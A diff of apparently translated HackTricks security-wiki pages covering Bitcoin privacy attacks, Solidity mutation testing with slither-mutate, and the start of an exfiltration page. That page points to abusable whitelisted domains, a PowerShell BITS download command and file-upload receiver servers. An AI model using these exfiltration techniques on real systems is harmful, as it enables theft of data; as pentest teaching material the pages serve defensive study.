- **Proof of Stake (PoS)** zahteva da validatori drže određenu količinu tokena, smanjujući potrošnju energije u odnosu na PoW.
|
||||||
|
|
||||||
## Osnove Bitcoina
|
## Osnovno o Bitcoinu
|
||||||
|
|
||||||
### Transakcije
|
### Transakcije
|
||||||
|
|
||||||
Bitcoin transakcije uključuju prenos sredstava između adresa. Transakcije se validiraju digitalnim potpisima, što osigurava da samo vlasnik privatnog ključa može inicirati transfer.
|
Bitcoin transakcije uključuju prenos sredstava između adresa. Transakcije se validiraju digitalnim potpisima, što osigurava da samo vlasnik privatnog ključa može inicirati prenose.
|
||||||
|
|
||||||
#### Ključne komponente:
|
#### Ključne komponente:
|
||||||
|
|
||||||
- **Multisignature Transactions** zahtevaju više potpisa za autorizaciju transakcije.
|
- **Multisignature Transactions** zahtevaju više potpisa za autorizaciju transakcije.
|
||||||
- Transakcije se sastoje od **inputs** (izvor sredstava), **outputs** (odredište), **fees** (plaćeni rudarima) i **scripts** (pravila transakcije).
|
- Transakcije se sastoje od **inputs** (izvor sredstava), **outputs** (odredište), **fees** (plaćanja minerima) i **scripts** (pravila transakcije).
|
||||||
|
|
||||||
### Lightning Network
|
### Lightning Network
|
||||||
|
|
||||||
Cilj mu je poboljšanje skalabilnosti Bitcoina omogućavajući više transakcija unutar kanala, pri čemu se samo konačno stanje objavljuje na blockchain-u.
|
Cilj je poboljšanje skalabilnosti Bitcoina omogućavanjem više transakcija unutar kanala, pri čemu se na blockchain emituje samo konačno stanje.
|
||||||
|
|
||||||
## Problemi privatnosti Bitcoina
|
## Problemi privatnosti Bitcoina
|
||||||
|
|
||||||
Napadi na privatnost, kao što su **Common Input Ownership** i **UTXO Change Address Detection**, iskorišćavaju obrasce u transakcijama. Strategije kao što su **Mixers** i **CoinJoin** poboljšavaju anonimnost time što zamagljuju veze transakcija između korisnika.
|
Napadi na privatnost, kao što su **Common Input Ownership** i **UTXO Change Address Detection**, koriste obrasce transakcija. Strategije poput **Mixers** i **CoinJoin** poboljšavaju anonimnost zamagljivanjem veza između transakcija korisnika.
|
||||||
|
|
||||||
## Anonimno sticanje Bitcoina
|
## Nabavka Bitcoina anonimno
|
||||||
|
|
||||||
Metode uključuju trgovinu za keš, mining i korišćenje mixera. **CoinJoin** meša više transakcija kako bi otežao praćenje, dok **PayJoin** prikriva CoinJoin kao obične transakcije za veću privatnost.
|
Metode uključuju trgovinu za keš, mining i korišćenje Mixers. **CoinJoin** meša više transakcija kako bi se zakomplikovala tragabilnost, dok **PayJoin** maskira CoinJoin-ove kao obične transakcije za poboljšanu privatnost.
|
||||||
|
|
||||||
# Bitcoin Privacy Atacks
|
# Napadi na privatnost Bitcoina
|
||||||
|
|
||||||
# Sažetak napada na privatnost Bitcoina
|
# Sažetak napada na privatnost Bitcoina
|
||||||
|
|
||||||
U svetu Bitcoina, privatnost transakcija i anonimnost korisnika često su predmet brige. Evo pojednostavljenog pregleda nekoliko uobičajenih metoda kojima napadači mogu ugroziti privatnost Bitcoina.
|
U svetu Bitcoina, privatnost transakcija i anonimnost korisnika često su predmet zabrinutosti. Evo pojednostavljenog pregleda nekoliko uobičajenih metoda kojima napadači mogu narušiti privatnost Bitcoina.
|
||||||
|
|
||||||
## **Common Input Ownership Assumption**
|
## **Common Input Ownership Assumption**
|
||||||
|
|
||||||
Generalno je retko da se inputi različitih korisnika kombinuju u jednoj transakciji zbog složenosti koja je u tome uključena. Zato se **dve input adrese u istoj transakciji često pretpostavljaju da pripadaju istom vlasniku**.
|
Generalno je retko da se inputs od različitih korisnika kombinuju u jednoj transakciji zbog uključenih komplikacija. Stoga se često pretpostavlja da **dve input adrese u istoj transakciji pripadaju istom vlasniku**.
|
||||||
|
|
||||||
## **UTXO Change Address Detection**
|
## **UTXO Change Address Detection**
|
||||||
|
|
||||||
UTXO, odnosno **Unspent Transaction Output**, mora biti u potpunosti potrošen u transakciji. Ako se samo deo šalje na drugu adresu, ostatak ide na novu change address. Posmatrači mogu pretpostaviti da ta nova adresa pripada pošiljaocu, čime se narušava privatnost.
|
UTXO, odnosno **Unspent Transaction Output**, mora biti u potpunosti potrošen u transakciji. Ako se samo deo pošalje na drugu adresu, ostatak ide na novu change adresu. Posmatrači mogu pretpostaviti da ta nova adresa pripada pošiljaocu, čime se narušava privatnost.
|
||||||
|
|
||||||
### Primer
|
### Primer
|
||||||
|
|
||||||
Da bi se to ublažilo, mixing servisi ili korišćenje više adresa mogu pomoći da se zamagli vlasništvo.
|
Da bi se to ublažilo, servisi za mešanje ili korišćenje više adresa mogu pomoći da se zamaskira vlasništvo.
|
||||||
|
|
||||||
## **Izlaganje preko društvenih mreža i foruma**
|
## **Social Networks & Forums Exposure**
|
||||||
|
|
||||||
Korisnici ponekad dele svoje Bitcoin adrese online, što olakšava **povezivanje adrese sa njenim vlasnikom**.
|
Korisnici ponekad dele svoje Bitcoin adrese online, što olakšava **povezivanje adrese sa njenim vlasnikom**.
|
||||||
|
|
||||||
## **Analiza grafova transakcija**
|
## **Transaction Graph Analysis**
|
||||||
|
|
||||||
Transakcije se mogu vizualizovati kao grafovi, otkrivajući potencijalne veze između korisnika na osnovu toka sredstava.
|
Transakcije se mogu vizualizovati kao grafovi, otkrivajući potencijalne veze između korisnika na osnovu toka sredstava.
|
||||||
|
|
||||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||||
|
|
||||||
Ova heuristika se zasniva na analizi transakcija sa više inputa i outputa kako bi se pogodilo koji output predstavlja change koji se vraća pošiljaocu.
|
Ova heuristika se zasniva na analizi transakcija sa višestrukim inputs i outputs kako bi se pogodilo koji output predstavlja change koji se vraća pošiljaocu.
|
||||||
|
|
||||||
### Primer
|
### Primer
|
||||||
```bash
|
```bash
|
||||||
2 btc --> 4 btc
|
2 btc --> 4 btc
|
||||||
3 btc 1 btc
|
3 btc 1 btc
|
||||||
```
|
```
|
||||||
Ako dodavanje više inputa učini da change output bude veći od bilo kojeg pojedinačnog inputa, to može zbuniti heuristiku.
|
Ako dodavanje više inputa učini da change output bude veći od bilo kog pojedinačnog inputa, to može zbuniti heuristiku.
|
||||||
|
|
||||||
## **Forced Address Reuse**
|
## **Forced Address Reuse**
|
||||||
|
|
||||||
Napadači mogu poslati male iznose na prethodno korišćene adrese, nadajući se da će primalac u budućim transakcijama kombinovati te iznose sa drugim inputima, čime bi adrese bile povezane.
|
Napadači mogu poslati male iznose na prethodno korišćene adrese, nadajući se da će primalac ubuduće kombinovati ove sa drugim inputima u budućim transakcijama, čime se adrese dovode u vezu.
|
||||||
|
|
||||||
### Correct Wallet Behavior
|
### Correct Wallet Behavior
|
||||||
|
|
||||||
Novčanici bi trebalo da izbegavaju korišćenje coina primljenih na već korišćene, prazne adrese kako bi sprečili ovaj privacy leak.
|
Novčanici bi trebalo da izbegavaju korišćenje kovanica primljenih na već korišćene, prazne adrese kako bi sprečili ovaj privacy leak.
|
||||||
|
|
||||||
## **Other Blockchain Analysis Techniques**
|
## **Other Blockchain Analysis Techniques**
|
||||||
|
|
||||||
- **Exact Payment Amounts:** Transakcije bez change-a verovatno su između dve adrese koje pripadaju istom korisniku.
|
- **Exact Payment Amounts:** Transakcije bez change verovatno su između dve adrese koje pripadaju istom korisniku.
|
||||||
- **Round Numbers:** Zaokružen broj u transakciji ukazuje na to da je reč o uplati, dok je ne-zaokruženi output verovatno change.
|
- **Round Numbers:** Zaokružen iznos u transakciji sugeriše da je u pitanju plaćanje, pri čemu je ne-zaokruženi izlaz verovatno change.
|
||||||
- **Wallet Fingerprinting:** Različiti novčanici imaju jedinstvene obrasce kreiranja transakcija, što analitičarima omogućava da identifikuju korišćeni softver i potencijalno change address.
|
- **Wallet Fingerprinting:** Različiti novčanici imaju jedinstvene obrasce kreiranja transakcija, što analitičarima omogućava da identifikuju softver koji je korišćen i potencijalno change address.
|
||||||
- **Amount & Timing Correlations:** Otkrivanje vremena ili iznosa transakcija može učiniti transakcije sledljivim.
|
- **Amount & Timing Correlations:** Otkrivanje vremena ili iznosa transakcija može učiniti transakcije pratljivim.
|
||||||
|
|
||||||
## **Traffic Analysis**
|
## **Traffic Analysis**
|
||||||
|
|
||||||
Praćenjem mrežnog saobraćaja, napadači potencijalno mogu povezati transakcije ili blokove sa IP adresama, ugrožavajući privatnost korisnika. Ovo je naročito tačno ako neka organizacija upravlja velikim brojem Bitcoin nodova, čime povećava svoju sposobnost nadgledanja transakcija.
|
Praćenjem mrežnog saobraćaja, napadači mogu potencijalno povezati transakcije ili blokove sa IP adresama, ugrožavajući privatnost korisnika. Ovo je naročito tačno ako neko upravlja velikim brojem Bitcoin čvorova, čime se povećava njihova sposobnost nadgledanja transakcija.
|
||||||
|
|
||||||
## More
|
## More
|
||||||
|
|
||||||
Za sveobuhvatan spisak napada na privatnost i odbrana, posetite [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||||
|
|
||||||
# Anonimne Bitcoin Transakcije
|
# Anonymous Bitcoin Transactions
|
||||||
|
|
||||||
## Načini za anonimno dobijanje Bitcoina
|
## Ways to Get Bitcoins Anonymously
|
||||||
|
|
||||||
- **Cash Transactions**: Nabavka bitcoina gotovinom.
|
- **Cash Transactions**: Nabavka Bitcoina gotovinom.
|
||||||
- **Cash Alternatives**: Kupovina poklon kartica i njihova zamena na internetu za bitcoin.
|
- **Cash Alternatives**: Kupovina poklon kartica i zamena na internetu za Bitcoin.
|
||||||
- **Mining**: Najprivatniji metod za zarađivanje bitcoina je mining, posebno kada se radi samostalno, jer mining poolovi mogu znati IP adresu rudara. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
- **Mining**: Najprivatniji način da se zaradi Bitcoin je rudarenje, naročito kada se radi solo jer mining pools mogu znati IP adresu rudara. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||||
- **Theft**: Teoretski, krađa bitcoina mogla bi biti još jedan metod za njegovo anonimno sticanje, iako je to protivzakonito i ne preporučuje se.
|
- **Theft**: Teoretski, krađa Bitcoina bi mogla biti još jedan metod da se stekne anonimno, iako je to nezakonito i nije preporučljivo.
|
||||||
|
|
||||||
## Mixing Services
|
## Mixing Services
|
||||||
|
|
||||||
Korišćenjem mixing servisa, korisnik može poslati bitcoine i primiti drugačije bitcoine zauzvrat, što otežava praćenje izvornog vlasnika. Ipak, to zahteva poverenje u servis da neće čuvati logove i da će zaista vratiti bitcoine. Alternativa mixing servisima su Bitcoin kazina.
|
Korišćenjem mixing service-a, korisnik može poslati bitcoine i dobiti druge bitcoine zauzvrat, što otežava praćenje originalnog vlasnika. Ipak, ovo zahteva poverenje u servis da neće voditi logove i da će zaista vratiti bitcoine. Alternativne opcije za mixanje uključuju Bitcoin kazina.
|
||||||
|
|
||||||
## CoinJoin
|
## CoinJoin
|
||||||
|
|
||||||
CoinJoin spaja više transakcija od različitih korisnika u jednu, otežavajući povezivanje inputa i outputa. Uprkos efikasnosti, transakcije sa jedinstvenim veličinama inputa i outputa i dalje se mogu pratiti.
|
CoinJoin spaja više transakcija od različitih korisnika u jednu, otežavajući povezivanje inputa sa outputima. Uprkos efikasnosti, transakcije sa jedinstvenim veličinama inputa i outputa i dalje se mogu pratiti.
|
||||||
|
|
||||||
Primer transakcija koje su možda koristile CoinJoin uključuju `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` i `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||||
|
|
||||||
Za više informacija, posetite [CoinJoin](https://coinjoin.io/en). Za sličan servis na Ethereum-u, pogledajte [Tornado Cash](https://tornado.cash), koji anonimizuje transakcije koristeći sredstva od miner-a.
|
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||||
|
|
||||||
## PayJoin
|
## PayJoin
|
||||||
|
|
||||||
Varijanta CoinJoin-a, PayJoin (ili P2EP), maskira transakciju između dve strane (npr. kupac i trgovac) kao običnu transakciju, bez karakterističnih jednakih outputa tipičnih za CoinJoin. To je izuzetno teško detektovati i može poništiti common-input-ownership heuristic koju koriste entiteti za nadzor transakcija.
|
Varijanta CoinJoin-a, PayJoin (ili P2EP), maskira transakciju između dve strane (npr. kupca i trgovca) kao običnu transakciju, bez karakterističnih jednakih outputs koji su tipični za CoinJoin. To je čini izuzetno teškom za detekciju i može obesmišljiti common-input-ownership heuristic koju koriste entiteti za nadzor transakcija.
|
||||||
```plaintext
|
```plaintext
|
||||||
2 btc --> 3 btc
|
2 btc --> 3 btc
|
||||||
5 btc 4 btc
|
5 btc 4 btc
|
||||||
```
|
```
|
||||||
Transakcije kao gore navedene mogu biti PayJoin, poboljšavajući privatnost dok ostaju neodvojive od standardnih bitcoin transakcija.
|
Transakcije poput gornje mogu biti PayJoin, čime se poboljšava privatnost, a istovremeno ostaju neprepoznatljive u odnosu na standardne bitcoin transakcije.
|
||||||
|
|
||||||
**Korišćenje PayJoin-a moglo bi značajno da poremeti tradicionalne metode nadzora**, čineći ga perspektivnim razvojem u potrazi za privatnošću transakcija.
|
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, čineći ga perspektivnim razvojem u nastojanju ka privatnosti transakcija.
|
||||||
|
|
||||||
# Najbolje prakse za privatnost u kriptovalutama
|
# Best Practices for Privacy in Cryptocurrencies
|
||||||
|
|
||||||
## **Tehnike sinhronizacije novčanika**
|
## **Wallet Synchronization Techniques**
|
||||||
|
|
||||||
Za očuvanje privatnosti i bezbednosti, sinhronizacija novčanika sa blockchain-om je ključna. Ističu se dve metode:
|
Da bi se očuvale privatnost i bezbednost, sinhronizacija novčanika sa blockchainom je ključna. Dve metode se ističu:
|
||||||
|
|
||||||
- **Full node**: Preuzimanjem celog blockchain-a, Full node obezbeđuje maksimalnu privatnost. Sve transakcije ikada izvršene se čuvaju lokalno, čime je onemogućeno da protivnici identifikuju koje transakcije ili adrese korisnika su relevantne.
|
- **Full node**: Preuzimanjem celog blockchaina, Full node obezbeđuje maksimalnu privatnost. Sve ikada izvršene transakcije skladište se lokalno, čineći nemogućim za protivnike da identifikuju koje transakcije ili adrese zanimaju korisnika.
|
||||||
- **Client-side block filtering**: Ova metoda podrazumeva kreiranje filtera za svaki blok u blockchain-u, omogućavajući novčanicima da identifikuju relevantne transakcije bez otkrivanja specifičnih interesovanja posmatračima mreže. Lightweight wallets preuzimaju ove filtere i dohvataju pune blokove samo kad se pronađe poklapanje sa adresama korisnika.
|
- **Client-side block filtering**: Ova metoda podrazumeva kreiranje filtera za svaki blok u blockchainu, što omogućava novčanicima da identifikuju relevantne transakcije bez otkrivanja specifičnih interesovanja posmatračima mreže. Lightweight wallets preuzimaju ove filtere i dohvaćaju pune blokove samo kada se pronađe podudaranje sa adresama korisnika.
|
||||||
|
|
||||||
## **Korišćenje Tor-a za anonimnost**
|
## **Utilizing Tor for Anonymity**
|
||||||
|
|
||||||
S obzirom da Bitcoin radi na peer-to-peer mreži, preporučuje se korišćenje Tor-a za maskiranje IP adrese, čime se povećava privatnost pri interakciji sa mrežom.
|
S obzirom da Bitcoin funkcioniše na peer-to-peer mreži, preporučuje se korišćenje Tor-a za prikrivanje vaše IP adrese, čime se poboljšava privatnost pri interakciji sa mrežom.
|
||||||
|
|
||||||
## **Sprečavanje ponovne upotrebe adresa**
|
## **Preventing Address Reuse**
|
||||||
|
|
||||||
Za zaštitu privatnosti važno je koristiti novu adresu za svaku transakciju. Ponovna upotreba adresa može ugroziti privatnost povezivanjem transakcija sa istim entitetom. Moderni novčanici svojim dizajnom obeshrabruju ponovnu upotrebu adresa.
|
Za očuvanje privatnosti, važno je koristiti novu adresu za svaku transakciju. Ponovno korišćenje adresa može kompromitovati privatnost povezivanjem transakcija sa istim entitetom. Moderni novčanici svojim dizajnom obeshrabruju ponovnu upotrebu adresa.
|
||||||
|
|
||||||
## **Strategije za privatnost transakcija**
|
## **Strategies for Transaction Privacy**
|
||||||
|
|
||||||
- **Multiple transactions**: Razdvajanje uplate na više transakcija može zamagliti iznos transakcije i otežati napade na privatnost.
|
- **Multiple transactions**: Razdvajanje uplate na više transakcija može zamagliti iznos plaćanja i otežati napade na privatnost.
|
||||||
- **Change avoidance**: Odabir transakcija koje ne zahtevaju change outputs povećava privatnost jer remeti metode detekcije change-a.
|
- **Change avoidance**: Odabir transakcija koje ne zahtevaju change outputs povećava privatnost tako što narušava metode detekcije promena.
|
||||||
- **Multiple change outputs**: Ako izbegavanje change-a nije moguće, generisanje više change outputs može i dalje poboljšati privatnost.
|
- **Multiple change outputs**: Ako izbegavanje change outputs nije moguće, generisanje više change outputs i dalje može poboljšati privatnost.
|
||||||
|
|
||||||
# **Monero: Svetionik anonimnosti**
|
# **Monero: A Beacon of Anonymity**
|
||||||
|
|
||||||
Monero odgovara na potrebu za apsolutnom anonimnošću u digitalnim transakcijama, postavljajući visok standard privatnosti.
|
Monero odgovara na potrebu za apsolutnom anonimnošću u digitalnim transakcijama, postavljajući visok standard privatnosti.
|
||||||
|
|
||||||
# **Ethereum: Gas i transakcije**
|
# **Ethereum: Gas and Transactions**
|
||||||
|
|
||||||
## **Razumevanje gasa**
|
## **Understanding Gas**
|
||||||
|
|
||||||
Gas meri računarski napor potreban za izvršavanje operacija na Ethereum-u, cenjen u **gwei**. Na primer, transakcija koja košta 2,310,000 gwei (ili 0.00231 ETH) uključuje gas limit i baznu naknadu, kao i napojnicu za podsticanje rudara. Korisnici mogu postaviti maksimalnu naknadu kako ne bi preplatili, a višak se refundira.
|
Gas meri računarski napor potreban za izvršavanje operacija na Ethereum-u, cenjen u **gwei**. Na primer, transakcija koja košta 2,310,000 gwei (ili 0.00231 ETH) uključuje gas limit i osnovnu naknadu, uz napojnicu koja podstiče rudare. Korisnici mogu postaviti maksimalnu naknadu da ne bi preplatili, pri čemu se višak vraća.
|
||||||
|
|
||||||
## **Izvršavanje transakcija**
|
## **Executing Transactions**
|
||||||
|
|
||||||
Transakcije na Ethereum-u uključuju pošiljaoca i primaoca, koji mogu biti adrese korisnika ili smart contract-a. One zahtevaju naknadu i moraju biti mined. Osnovne informacije u transakciji uključuju primaoca, potpis pošiljaoca, vrednost, opcionu data, gas limit i naknade. Značajno je da se adresa pošiljaoca izvodi iz potpisa, što eliminiše potrebu da bude eksplicitno uključena u podacima transakcije.
|
Transakcije na Ethereum-u uključuju pošiljaoca i primaoca, koji mogu biti adrese korisnika ili smart contract-a. Za njih je potrebna naknada i moraju biti potvrđene rudarenjem. Bitne informacije u transakciji uključuju primaoca, potpis pošiljaoca, vrednost, opciona polja, gas limit i naknade. Važno je da se adresa pošiljaoca izvodi iz potpisa, što eliminiše potrebu da bude eksplicitno uključena u podatke transakcije.
|
||||||
|
|
||||||
Ove prakse i mehanizmi su temeljni za svakoga ko želi da se bavi kriptovalutama, a prioritet mu je privatnost i bezbednost.
|
Ove prakse i mehanizmi predstavljaju osnovu za svakog ko želi da se bavi kriptovalutama, a prioritet mu je privatnost i bezbednost.
|
||||||
|
|
||||||
|
## Smart Contract Security
|
||||||
|
|
||||||
|
- Mutation testing to find blind spots in test suites:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../smart-contract-security/mutation-testing-with-slither.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
@ -183,7 +191,7 @@ Ove prakse i mehanizmi su temeljni za svakoga ko želi da se bavi kriptovalutama
|
|||||||
|
|
||||||
## DeFi/AMM Exploitation
|
## DeFi/AMM Exploitation
|
||||||
|
|
||||||
Ako istražujete praktičnu eksploataciju DEX-ova i AMM-ova (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), pogledajte:
|
If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
defi-amm-hook-precision.md
|
defi-amm-hook-precision.md
|
||||||
|
@ -0,0 +1,116 @@
|
|||||||
|
# Mutation Testing for Solidity with Slither (slither-mutate)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Mutation testing "testira vaše testove" tako što sistematski uvodi male izmene (mutante) u vaš Solidity kod i ponovo pokreće vaš skup testova. Ako test zakaže, mutant je eliminisan. Ako testovi i dalje prolaze, mutant preživi, otkrivajući slepu tačku u vašem skupu testova koju linijska/grananja pokrivenost ne može detektovati.
|
||||||
|
|
||||||
|
Ključna ideja: Pokrivenost pokazuje da je kod izvršen; mutation testing pokazuje da li je ponašanje zaista provereno.
|
||||||
|
|
||||||
|
## Zašto pokrivenost može zavarati
|
||||||
|
|
||||||
|
Razmotrite ovu jednostavnu proveru praga:
|
||||||
|
```solidity
|
||||||
|
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||||
|
if (deposit >= 1 ether) {
|
||||||
|
return true;
|
||||||
|
} else {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Unit testovi koji proveravaju samo vrednost ispod i iznad praga mogu dostići 100% pokriće linija/grana dok ne uspevaju da asertuju granicu jednakosti (==). Refaktorisanje u `deposit >= 2 ether` bi i dalje prošlo takve testove, tiho prekidajući logiku protokola.
|
||||||
|
|
||||||
|
Mutaciono testiranje otkriva ovu rupu mutiranjem uslova i verifikovanjem da vaši testovi zakažu.
|
||||||
|
|
||||||
|
## Uobičajeni mutacioni operatori za Solidity
|
||||||
|
|
||||||
|
Slither’s mutation engine primenjuje mnoge male izmene koje menjaju semantiku, kao što su:
|
||||||
|
- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, etc.
|
||||||
|
- Assignment replacement: `+=` → `=`, `-=` → `=`
|
||||||
|
- Constant replacement: non-zero → `0`, `true` ↔ `false`
|
||||||
|
- Condition negation/replacement inside `if`/loops
|
||||||
|
- Comment out whole lines (CR: Comment Replacement)
|
||||||
|
- Replace a line with `revert()`
|
||||||
|
- Data type swaps: e.g., `int128` → `int64`
|
||||||
|
|
||||||
|
Cilj: eliminisati 100% generisanih mutanata, ili opravdati preživele jasnim obrazloženjem.
|
||||||
|
|
||||||
|
## Pokretanje mutacionog testiranja sa slither-mutate
|
||||||
|
|
||||||
|
Zahtevi: Slither v0.10.2+.
|
||||||
|
|
||||||
|
- List options and mutators:
|
||||||
|
```bash
|
||||||
|
slither-mutate --help
|
||||||
|
slither-mutate --list-mutators
|
||||||
|
```
|
||||||
|
- Foundry primer (zabeleži rezultate i sačuvaj kompletan log):
|
||||||
|
```bash
|
||||||
|
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||||
|
```
|
||||||
|
- Ako ne koristite Foundry, zamenite `--test-cmd` sa načinom na koji pokrećete testove (npr. `npx hardhat test`, `npm test`).
|
||||||
|
|
||||||
|
Artefakti i izveštaji se podrazumevano čuvaju u `./mutation_campaign`. Neuhvaćeni (preživeli) mutanti se kopiraju tamo radi inspekcije.
|
||||||
|
|
||||||
|
### Razumevanje izlaza
|
||||||
|
|
||||||
|
Linije izveštaja izgledaju ovako:
|
||||||
|
```text
|
||||||
|
INFO:Slither-Mutate:Mutating contract ContractName
|
||||||
|
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||||
|
```
|
||||||
|
- Oznaka u uglastim zagradama je alias mutatora (npr., `CR` = Comment Replacement).
|
||||||
|
- `UNCAUGHT` znači da su testovi prošli pod mutiranim ponašanjem → nedostajuća asercija.
|
||||||
|
|
||||||
|
## Smanjenje vremena izvršavanja: prioritizujte uticajne mutante
|
||||||
|
|
||||||
|
Kampanje mutacije mogu trajati satima ili danima. Saveti za smanjenje troškova:
|
||||||
|
- Obim: Počnite samo sa kritičnim kontraktima/direktorijumima, zatim proširite.
|
||||||
|
- Prioritetizujte mutatore: Ako mutant visokog prioriteta na liniji preživi (npr., cela linija je komentarisana), možete preskočiti varijante nižeg prioriteta za tu liniju.
|
||||||
|
- Paralelizujte testove ako vaš runner to dozvoljava; keširajte zavisnosti/buildove.
|
||||||
|
- Fail-fast: zaustavite rano kada izmena jasno pokaže nedostatak asercije.
|
||||||
|
|
||||||
|
## Radni tok trijaže za preživele mutante
|
||||||
|
|
||||||
|
1) Pregledajte mutiranu liniju i ponašanje.
|
||||||
|
- Reproducirajte lokalno tako što ćete primeniti mutiranu liniju i pokrenuti fokusirani test.
|
||||||
|
|
||||||
|
2) Ojačajte testove tako da asertuju stanje, ne samo povratne vrednosti.
|
||||||
|
- Dodajte provere granica jednakosti (npr., testirajte threshold `==`).
|
||||||
|
- Asertujte postuslove: stanja salda, ukupna ponuda, efekti autorizacije i emitovani događaji.
|
||||||
|
|
||||||
|
3) Zamenite previše permisivne mock-ove realističnim ponašanjem.
|
||||||
|
- Osigurajte da mock-ovi forsiraju transfere, puteve grešaka i emisione događaje koji se dešavaju on-chain.
|
||||||
|
|
||||||
|
4) Dodajte invarijante za fuzz testove.
|
||||||
|
- Npr., očuvanje vrednosti, nenegativni balansi, invarijante autorizacije, monotoni rast ponude gde je primenljivo.
|
||||||
|
|
||||||
|
5) Ponovo pokrenite slither-mutate dok preživele varijante ne budu uklonjene ili eksplicitno opravdane.
|
||||||
|
|
||||||
|
## Case study: revealing missing state assertions (Arkis protocol)
|
||||||
|
|
||||||
|
Kampanja mutacije tokom audita Arkis DeFi protocol-a iznela je preživele slučajeve poput:
|
||||||
|
```text
|
||||||
|
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||||
|
```
|
||||||
|
Komentarisanje dodele nije pokvarilo testove, što dokazuje nedostatak post-state asercija. Korenski uzrok: kod je verovao user-controlled `_cmd.value` umesto da validira stvarne token transfere. Napadač bi mogao desinhronizovati očekivane i stvarne transfere da isisava sredstva. Rezultat: rizik visoke težine po solventnost protokola.
|
||||||
|
|
||||||
|
Smernice: Smatrati preživele mutante koji utiču na prenos vrednosti, računovodstvo ili kontrolu pristupa visokorizičnim dok ne budu ubijeni.
|
||||||
|
|
||||||
|
## Praktična lista provere
|
||||||
|
|
||||||
|
- Pokrenite ciljanu kampanju:
|
||||||
|
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||||
|
- Razvrstajte preživele mutante i napišite testove/invarijante koji bi pali pod mutiranim ponašanjem.
|
||||||
|
- Potvrdite balanse, ukupnu ponudu, autorizacije i događaje.
|
||||||
|
- Dodajte granične testove (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||||
|
- Zamenite nerealne mocks; simulirajte scenarije grešaka.
|
||||||
|
- Iterirajte dok svi mutanti ne budu ubijeni ili opravdani komentarima i obrazloženjem.
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
|
||||||
|
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
||||||
|
- [Slither (GitHub)](https://github.com/crytic/slither)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,12 +1,12 @@
|
|||||||
# Ekfiltracija
|
# Exfiltration
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Uobičajeni domeni na beloj listi za ekfiltraciju informacija
|
## Često whitelisted domene za exfiltrate informacija
|
||||||
|
|
||||||
Proverite [https://lots-project.com/](https://lots-project.com/) da biste pronašli uobičajene domene na beloj listi koje se mogu zloupotrebiti
|
Proverite [https://lots-project.com/](https://lots-project.com/) da pronađete domene koji su često whitelisted i koje je moguće zloupotrebiti
|
||||||
|
|
||||||
## Kopiraj\&Zalepi Base64
|
## Copy\&Paste Base64
|
||||||
|
|
||||||
**Linux**
|
**Linux**
|
||||||
```bash
|
```bash
|
||||||
@ -42,7 +42,7 @@ Start-BitsTransfer -Source $url -Destination $output
|
|||||||
#OR
|
#OR
|
||||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||||
```
|
```
|
||||||
### Upload files
|
### Otpremanje fajlova
|
||||||
|
|
||||||
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||||
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||||
@ -100,19 +100,104 @@ if __name__ == "__main__":
|
|||||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||||
###
|
###
|
||||||
```
|
```
|
||||||
|
